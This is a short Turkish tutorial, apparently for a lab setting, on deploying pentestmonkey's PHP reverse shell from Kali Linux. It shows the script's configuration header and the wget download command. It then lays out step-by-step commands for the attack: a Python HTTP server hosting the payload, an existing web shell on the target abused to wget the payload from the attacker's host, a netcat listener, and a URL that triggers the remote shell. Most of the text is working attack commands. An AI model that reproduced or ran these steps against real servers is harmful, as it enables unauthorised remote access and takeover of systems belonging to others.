Kali Linux'ta php-reverse-shell.php kullanımı, genellikle bir web sunucusundaki bir güvenlik açığını (örneğin, dosya yükleme zafiyeti) sömürerek hedef sisteme erişim sağlamayı içerir.
Bu kod ile indirebilirsiniz.
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
Aşağıdaki gibi ip bilgilerinizi girmeniz gerekir.
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey <benny@pentestmonkey.net>
set_time_limit(0);
ini_set('display_errors', FALSE);
ini_set('log_errors',NULL);
ini_set('error_log',NULL);
ini_set('max_execution_time',0);
ob_start();
$ip = '192.168.1.100'; // BURAYA KALI LINUX IP ADRESİNİZİ GİRİN
$port = 4444; // BURAYA DİNLEYECEĞİNİZ PORTU GİRİN
$chunk_size = 1400;
$write_a = NULL;
$error_a = NULL;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
// ... (scriptin geri kalanı) ...
?>
Aşağıda örnek kullanım verilmiştir.
# Wget Karşı Makinada Yüklüyse Tünel Oluşturma
# 1. Python ile Yerel Bir HTTP Sunucusu Başlat
# Bu komut, mevcut dizinde bir HTTP sunucusu oluşturur.
# Reverse shell dosyasının bu sunucuyla aynı dizinde bulunması gereklidir.
python3 -m http.server 1453
# 2. PHP Reverse Shell Dosyasını Karşı Makinaya Gönderme
# Wget kullanarak, reverse shell dosyasını karşı makinanın web dizinine indiriyoruz.
# Burada 192.168.238.134 hedef makine, 192.168.238.129 ise saldırganın makinesidir.
192.168.238.134/viking_app/shell4.php?cmd=wget http://192.168.238.129:1453/php-reverse-shell.php -P /var/www/html/viking_app/
# 3. Netcat ile Dinleme Moduna Geçme
# Yeni bir terminal açarak bağlantıyı dinlemeye başlıyoruz.
nc -nvlp 1453
# 4. Reverse Shell'i Çalıştırma
# Reverse shell dosyasını çalıştırarak bağlantıyı ters yönde kuruyoruz.
http://192.168.238.134/viking_app/php-reverse-shell.php